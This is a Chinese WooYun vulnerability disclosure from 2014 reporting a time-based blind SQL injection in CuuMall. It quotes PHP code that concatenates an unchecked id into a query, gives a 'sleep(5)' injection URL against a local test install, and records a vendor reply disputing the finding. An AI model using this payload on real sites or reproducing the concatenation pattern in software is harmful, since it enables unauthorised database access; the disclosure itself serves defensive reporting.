当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077888

漏洞标题：CuuMall 最新版本sql注入一枚

相关厂商：cuumall.com

漏洞作者： menmen519

提交时间：2014-10-02 10:12

修复时间：2014-12-31 10:14

公开时间：2014-12-31 10:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-02： 细节已通知厂商并且等待厂商处理中
2014-10-09： 厂商已经确认，细节仅向厂商公开
2014-10-12： 细节向第三方安全合作伙伴开放
2014-12-03： 细节向核心白帽子及相关领域专家公开
2014-12-13： 细节向普通白帽子公开
2014-12-23： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

CuuMall 最新版本sql注入一枚

详细说明：

感觉 CuuMall 的官网文件是不是被人改动了 还是本身就是个bug，不多说了 直接看代码
DetailsAction.class.php(282-313)

public function add_pru( )
				{
								$coo = new Cookie( );
								if ( $coo->is_set( c( "GUESTCOOK" )."mall-m-name" ) )
								{
												$this->assign( "waitSceond", 3 );
												$this->assign( "jumpUrl", "__APP__/Home/login" );
												$this->error( "请登录后收藏商品" );
												exit( );
								}
								$id = $_GET['id'];
								if ( is_numeric( $id ) )
								{
												$this->assign( "waitSceond", 3 );
												$this->assign( "jumpUrl", "__APP__" );
												$this->error( "非法参数" );
												exit( );
								}
								$addpru = new Model( "m_add" );
								$d_addpru = $addpru->where( "pruid=".$id )->find( );
								if ( empty( $d_addpru ) )
								{


这里 居然判断为是一个数字类型那么就非法参数，按照正常逻辑这里应该是非数字啊
结果导致
$d_addpru = $addpru->where( "pruid=".$id )->find( );盲注了
访问url:
192.168.10.70/cuumall_v2.3/v2.3/mall_upload/index.php/home/detail/index/id/2 and sleep(5)#
延时响应即可！！！
查看后台抓的数据库sql
2014/9/30 10:37 SELECT * FROM `cuu_sell_id` WHERE pro_id=1 and sleep(5)
2014/9/30 10:37 SELECT * FROM `cuu_pl_id` WHERE pro_id=1 and sleep(5)
一大堆这样的sleep

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2014-10-09 13:28

厂商回复：

if(!(is_numeric($id)))
{
$this->assign('waitSceond',3);
$this->assign('jumpUrl',"__APP__");
$this->error('非法参数');
exit;
}
源代码是这样的，可能是你反编译以后导致代码变形了，不知道在未反编译的情况下是否能正确执行

最新状态：

暂无

漏洞评价：

评论

  1. 2014-10-02 22:01 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    @menmen519 大礼包啊

  2. 2014-10-09 13:33 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @cuumall.com 这个回复哎！！！ 我后台抓取的sql可是真真正正执行了 这个总说不过去吧 搭建站点的 可是没有编译过的